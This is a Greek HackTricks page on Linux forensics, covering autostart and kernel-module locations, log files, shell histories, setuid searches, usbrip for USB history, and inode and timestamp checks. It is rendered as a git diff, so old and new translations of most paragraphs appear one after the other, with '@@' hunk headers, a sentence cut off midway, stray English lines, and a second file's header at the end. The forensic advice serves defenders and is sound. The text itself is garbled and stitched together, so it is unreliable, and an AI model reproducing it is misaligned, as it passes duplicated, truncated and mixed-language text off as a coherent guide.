Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως συστατικά rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι καταλόγοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
- **/lib/modules/$(uname -r)**: Κρατά πυρήνες για την τρέχουσα έκδοση του πυρήνα.
- **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης του πυρήνα.
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για γενικές ρυθμίσεις πυρήνα.
* **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα.
* **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων.
* **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων.
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας κακόβουλο λογισμικό:
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό:
- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για κάθε σύνδεση χρήστη.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία που αφορούν συγκεκριμένους χρήστες και εκτελούνται κατά τη σύνδεσή τους.
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
* **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία συγκεκριμένα για τον χρήστη που εκτελούνται κατά την είσοδό τους.
* **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών.
## Εξέταση Αρχείων Καταγραφής
## Εξέταση Καταγραφών
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα συμβάντα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι κρίσιμα για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεις από κακόβουλο λογισμικό και άλλα περιστατικά ασφάλειας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος.
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
- Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης συστήματος.
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες διακομιστή email, χρήσιμα για την παρακολούθηση υπηρεσιών σχετικών με email.
- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
- **/var/log/dmesg**: Κρατά μηνύματα οδηγού συσκευής.
- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στην έρευνα παραβίασης ασφάλειας.
- **/var/log/cron**: Καταγράφει τις εκτελέσεις των εργασιών cron.
- **/var/log/daemon.log**: Καταγράφει τις δραστηριότητες υπηρεσιών φόντου.
- **/var/log/btmp**: Τεκμηριώνει αποτυχημένες προσπάθειες σύνδεσης.
- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφουν δραστηριότητες βάσης δεδομένων MySQL.
- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
- **/var/log/**: Πάντα ελέγξτε για απροσδόκητα αρχεία καταγραφής εδώ.
* **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος.
* **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
* Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα αυθεντικοποίησης.
* **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
* **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών σχετικών με email.
* **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
* **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών.
* **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας.
* **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron.
* **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου.
* **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης.
* **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
* **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL.
* **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
* **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ.
{% hint style="info" %}
Τα αρχεία καταγραφής συστήματος και τα υποσυστήματα ελέγχου ενδέχεται να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση διείσδυσης ή περιστατικού κακόβουλου λογισμικού. Διότι τα αρχεία καταγραφής σε συστήματα Linux συνήθως περιέχουν μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τα διαγράφουν συστηματικά. Επομένως, κατά την εξέταση των διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να εξετάζετε για κενά ή μη συνεκτικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παρεμβολής.
Τα αρχεία καταγραφής και τα υποσυστήματα ελέγχου του συστήματος Linux μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητήσετε κενά ή μη κανονικές καταχωρίσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης.
{% endhint %}
**Το Linux διατηρεί μια ιστορία εντολών για κάθε χρήστη**, αποθηκευμένη σε:
**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε:
- \~/.bash\_history
- \~/.zsh\_history
- \~/.zsh\_sessions/\*
- \~/.python\_history
- \~/.\*\_history
* \~/.bash\_history
* \~/.zsh\_history
* \~/.zsh\_sessions/\*
* \~/.python\_history
* \~/.\*\_history
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε τη για άγνωστες ή απροσδόκητες συνδέσεις.
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις.
Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα:
- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
- Εξετάστε το `/etc/groups` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελών ομάδας ή δικαιωμάτων.
- Εξετάστε το `/etc/passwd` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελ
* Εξετάστε το `/etc/sudoers` για μη αναμενόμενα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
* Εξετάστε το `/etc/sudoers.d/` για μη αναμενόμενα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
* Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη συμμετοχή σε ομάδες ή δικαιώματα.
* Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη συμμετοχή σε ομάδες ή δικαιώματα.
Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής:
* **SSH**: Εξετάστε το _\~/.ssh/authorized\_keys_ και _\~/.ssh/known\_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις.
* **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome.
* **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες.
* **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές προσπελάσιμων αρχείων και ιστορικό αναζητήσεων.
* **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία.
* **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp\_history_ ή _\~/.sftp\_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες.
* **MySQL**: Εξετάστε το _\~/.mysql\_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων.
* **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των προσπελάσιμων αρχείων και των εκτελούμενων εντολών.
* **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια.
### Καταγραφές USB
[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB.
Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα).
### Εγκατάσταση
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
@ -314,37 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Περισσότερα παραδείγματα και πληροφορίες μέσα στο github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τη χρήση των πιο προηγμένων εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Αναθεώρηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία καταγραφής ασφάλειας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις sudo brute-force.\
Επιπλέον, ελέγξτε αρχεία όπως τα _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **καμία κωδικό** ή **εύκολα μαντεψιά κωδικού**.
## Εξέταση του Συστήματος Αρχείων
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\
Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δόθηκαν σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης.
### Ανάλυση Δομών του Συστήματος Αρχείων στην Έρευνα Κακόβουλου Λογισμικού
## Εξέταση Συστήματος Αρχείων
Κατά τη διερεύνηση περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων αποτελεί μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων των αρχείων ή η αποφυγή του συστήματος αρχείων για την αποθήκευση δεδομένων.
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού
Για να αντιμετωπιστούν αυτές οι αντι-δαντικές μεθόδοι, είναι απαραίτητο να:
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
* **Πραγματοποιήσετε μια λεπτομερή ανάλυση χρονολογίου** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση των χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερείς δεδομένα χρονολογίου.
* **Εξετάσετε απροσδόκητα scripts** στο $PATH του συστήματος, τα οποία ενδέχεται να περιλαμβάνουν scripts κελύφους ή PHP που χρησιμοποιούν οι επιτιθέμενοι.
* **Εξετάσετε τον κατάλογο `/dev` για ατυπικά αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά ενδέχεται να περιέχει αρχεία που σχετίζονται με κακόβουλο λογισμικό.
* **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία control-G), τα οποία θα μπορούσαν να κρύψουν κακόβουλο περιεχόμενο.
* **Αναγνωρίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό εντοπίζει αρχεία με επιβεβαιωμένες άδειες, τα οποία θα μπορούσαν να καταχραστούνται από επιτιθέμενους.
* **Ελέγξτε τα χρονοσήματα διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που ενδεχομένως υποδηλώνουν την παρουσία ρουτκιτς ή τροίαν.
* **Επιθεωρήστε συνεχόμενα inodes** για κοντινά κακόβουλα αρχεία μετά την εντοπισμό ενός, καθώς ενδέχεται να έχουν τοποθετηθεί μαζί.
* **Ελέγξτε τους κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
Για να αντισταθούμε σε αυτές τις μεθόδους αντεπίθεσης, είναι απαραίτητο να:
* **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας.
* **Εξετάσετε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους.
* **Εξετάσετε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό.
* **Αναζητήσετε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να αποκρύπτουν κακόβουλο περιεχόμενο.
* **Εντοπίσετε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους.
* **Ανασκοπήσετε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που ενδέχεται να υποδεικνύουν την παρουσία rootkits ή trojans.
* **Εξετάσετε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
* **Ελέγξετε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -353,14 +376,14 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
Σημειώστε ότι ένας **εισβολέας** μπορεί να **τροποποιήσει** το **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν ανακαλύψετε ότι ένα **αρχείο** υποδηλώνει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονοσφραγίδες του αρχείου αυτού τροποποιήθηκαν**.
Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι** αυτού του αρχείου έχουν **τροποποιηθεί**.
{% endhint %}
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων
Για να συγκρίνουμε εκδόσεις συστημάτων αρχείων και να εντοπίσουμε τις αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
* **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους:
```bash
@ -370,20 +393,20 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **Ανίχνευση διαγραμμένων αρχείων**:
* **Για να ανιχνεύσετε διαγραμμένα αρχεία**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στον περιορισμό σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγραμμένα (`D`), ή τροποποιημένα (`M`) αρχεία.
* `A`: Προστιθέμενα αρχεία
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν να περιορίσετε σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία.
* `A`: Προσθήκες αρχείων
* `C`: Αντιγραμμένα αρχεία
* `D`: Διαγραμμένα αρχεία
* `M`: Τροποποιημένα αρχεία
* `R`: Μετονομασμένα αρχεία
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε σύμβολο σύνδεσης)
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink)
* `U`: Μη συγχωνευμένα αρχεία
* `X`: Άγνωστα αρχεία
* `B`: Κατεστραμμένα αρχεία
* `B`: Σπασμένα αρχεία
## Αναφορές
@ -394,22 +417,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετέχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στο** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **και** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,58 +1,75 @@
# Ανάλυση αντιγράφου μνήμης
# Ανάλυση μνήμης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
